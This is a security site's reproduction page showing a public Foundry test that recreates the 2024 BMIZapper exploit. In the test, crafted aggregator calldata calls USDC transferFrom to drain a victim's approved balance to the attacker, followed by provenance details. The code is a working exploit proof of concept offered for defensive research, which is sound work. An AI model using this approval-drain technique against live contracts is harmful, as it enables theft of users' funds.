Skip to content
THREATWIRE

Public reproduction file

src/test/2024-01/Bmizapper_exp.sol

Public reproduction file for dataset entry BmiZapper.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-01/Bmizapper_exp.sol80 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8 @KeyInfo
9 - Total Lost: 114,000 USDC
10 - Attacker: https://etherscan.io/address/0x63136677355840f26c0695dd6de5c9e4f514f8e8
11 - Attack Contract: https://etherscan.io/address/0xae5919160a646f5d80d89f7aae35a2ca74738440
12 - Vuln Contract: https://etherscan.io/address/0x4622aff8e521a444c9301da0efd05f6b482221b8
13 - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x97201900198d0054a2f7a914f5625591feb6a18e7fc6bb4f0c964b967a6c15f6
14 - Analysis: https://x.com/0xmstore/status/1747756898172952725?s=20
15*/
17interface IBMIZapper {
18 function zapToBMI(
19 address _from,
20 uint256 _amount,
21 address _fromUnderlying,
22 uint256 _fromUnderlyingAmount,
23 uint256 _minBMIRecv,
24 address[] calldata _bmiConstituents,
25 uint256[] calldata _bmiConstituentsWeightings,
26 address _aggregator,
27 bytes calldata _aggregatorData,
28 bool refundDust
29 ) external returns (uint256);
32contract ExploitTest is Test {
33 IBMIZapper bmiZapper = IBMIZapper(0x4622aFF8E521A444C9301dA0efD05f6b482221b8);
34 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
35 IERC20 BUSD = IERC20(0x4Fabb145d64652a948d72533023f6E7A623C7C53);
37 address victim = 0x07d7685bECB1a72a1Cf614b4067419334C9f1b4d;
38 address attacker = address(this);
39 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
41 function setUp() public {
42 cheats.createSelectFork("mainnet", 19_029_290 - 1);
43 cheats.label(address(bmiZapper), "BMIZapper");
44 cheats.label(address(USDC), "USDC");
45 }
47 function testExploit() external {
48 emit log_named_decimal_uint("Victim's USDC balance before exploit", USDC.balanceOf(victim), USDC.decimals());
50 uint256 victimBalance = USDC.balanceOf(victim);
52 address[] memory bmiConstituents = new address[](0); // Empty bmiConstituents array
53 uint256[] memory bmiConstituentsWeightings = new uint256[](1);
54 bmiConstituentsWeightings[0] = 1e18; // 100% weighting for demonstration
56 // Craft malicious data to call a transferFrom function in the USDC token contract
58 bytes memory maliciousCallData =
59 abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, attacker, victimBalance);
61 // Call zapToBMI with malicious aggregator data
63 bmiZapper.zapToBMI(
64 address(BUSD), // BUSD
65 0, // _amount
66 address(0), // _fromUnderlying
67 0, // _fromUnderlyingAmount
68 0, // _minBMIRecv
69 bmiConstituents,
70 bmiConstituentsWeightings,
71 address(USDC), // _aggregator
72 maliciousCallData, // _aggregatorData
73 true
74 );
76 emit log_named_decimal_uint("Victim's USDC balance after exploit", USDC.balanceOf(victim), USDC.decimals());
78 emit log_named_decimal_uint("Attacker's USDC balance after exploit", USDC.balanceOf(attacker), USDC.decimals());
79 }

Analysis

Dataset entry

Public Foundry test for “BmiZapper” (2024-01-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
BmiZapper
Path
src/test/2024-01/Bmizapper_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9c17f77741a70a91a078d42550f65f0e4330b964
Language
Solidity
Size
81 lines
Date
2024-01-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-01/Bmizapper_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c17f77741a70a91a078d42550f65f0e4330b964, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.